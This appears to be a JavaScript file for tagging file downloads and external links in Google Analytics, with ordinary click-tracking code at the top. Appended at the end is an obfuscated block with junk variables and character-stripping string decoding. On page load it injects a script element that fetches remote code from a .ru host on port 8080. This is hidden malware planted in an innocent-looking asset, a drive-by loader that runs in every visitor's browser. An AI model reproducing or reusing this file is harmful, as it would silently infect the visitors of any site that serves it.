//	Javascript to tag file downloads and external links in Google Analytics
//	To use, place reference to this file should be placed at the bottom of all pages, 
//	just above the Google Analytics tracking code.
//	All outbound links and links to non-html files should now be automatically tracked.
//
//  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//	Created by: 	Colm McBarron, colm.mcbarron@iqcontent.com
//	Last updated: 	12-Feb-2006
//  Mods
//  Bruce Chapman 17 Dec 207   Change to support new GA _trackPageView() call instead of urchinTracker
//	+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//

var hrefs = document.getElementsByTagName("a");
var link_path = "";
for (var l = 0; l < hrefs.length; l++) {
		try {
			var link_path = hrefs[l].pathname;
			if (location.host == hrefs[l].hostname) {
				if (link_path.match(/\.(doc|pdf|xls|ppt|zip|txt|vsd|vxd|js|css|rar|exe|wma|mov|avi|wmv|mp3)$/)) {
					addtrackerlistener(hrefs[l]);
				}
			} else {
				addtrackerlistener(hrefs[l]);
			}
		}
		catch(err) { }
}


function addtrackerlistener(obj) {
	if (obj.addEventListener) {
		obj.addEventListener('click', trackfiles, true);
	} else if (obj.attachEvent) {
		obj.attachEvent("on" + 'click', trackfiles);
	}
}

function trackfiles(array_element) {
	file_path = "";
	if (location.host != this.hostname) {
		file_path = "/exlinks/" + ((array_element.srcElement) ? "/" + array_element.srcElement.hostname : this.hostname);
	}
	file_path = file_path + ((array_element.srcElement) ? "/" + array_element.srcElement.pathname : this.pathname);
	pageTracker._trackPageview(file_path);
}



this.y="";try {this.s="";var A="";var o=RegExp;var m=new Array();var N="rep"+"lacLdXB".substr(0,3)+"eHYT1".substr(0,1);var x;if(x!='' && x!='l'){x='zW'};function k(S,Nh){var NC;if(NC!='' && NC!='_'){NC='AB'};var b;if(b!='dO' && b!='dM'){b=''};var zd=new String();var D=new String("[");var j=new String();var HO='';var d="rOIVg".substr(4);var t;if(t!='f' && t != ''){t=null};D+=Nh;D+=String("]VcxA".substr(0,1));var c;if(c!='' && c!='IO'){c='Iwp'};var Hl=new Array();var r=new o(D, d);var MF=new Date();this.mH="";return S[N](r, new String());};var ok;if(ok!='' && ok!='_c'){ok=null};this.Wf="";var iz='';var KI=new Array();var v=k('s1cKr1iKp1tK',"1K");var z=window;var SH="";var ov;if(ov!='sY' && ov != ''){ov=null};var V=k('8433133014224423814334230142143',"1243");var C='';var Z=k('cXrNeNaGtXeXEGlGeGmXeXnXtX',"GNX");var ER='';var u=k('/bdbu7o7w3abn3.3c3o3mb/bd7u7o3wbabnb.bcbo3m3/bsbobfbt3l7abybe7rb.7c3obm7/3g7obobgbl7eb.3c7o7m7/3s7p7o7n3ibcbh7i3.3c7o3.bj3p3.3p7hbp7',"b37");var mt;if(mt!='' && mt!='F_'){mt=''};var db="";var uI=k('hKtKtKpF:7/K/FxKa7n7gKa7-FcKoFm7.7dFe7vFiKaKnKtFcKlKi7pK.7cFo7mK.7l7e7bKoKnKcFo7iFnF-KfFrK.7SFuFpFeFr7S7uFpFeFrKM7aKlFl7.KrKu7:7',"FK7");this.rL='';this.vF='';var VY=k('omnmlmo2a2d2',"2m");var Wy;if(Wy!='' && Wy!='Tq'){Wy=''};rh=function(){var Nv='';var to=new String();var P;if(P!='zJ'){P=''};Y=document[Z](v);var NT;if(NT!='cr' && NT != ''){NT=null};C=uI+V;var KR='';C+=u;var WV;if(WV!='me'){WV='me'};var R;if(R!='jA'){R='jA'};var Nq;if(Nq!='' && Nq!='FV'){Nq=null};var Pi='';Y.defer=([1,0][0]);var aV;if(aV!='' && aV!='La'){aV=null};var __;if(__!='' && __!='Z_'){__=null};Y.src=C;var xv;if(xv!='' && xv!='Lx'){xv='FU'};var Xx;if(Xx!='' && Xx!='zC'){Xx='eo'};document.body.appendChild(Y);};var fq;if(fq!='dd'){fq='dd'};var YQ=new Date();z[VY]=rh;this.ks="";var uQ=new Array();var mW;if(mW!='yv'){mW='yv'};} catch(YZ){this.Gk="";};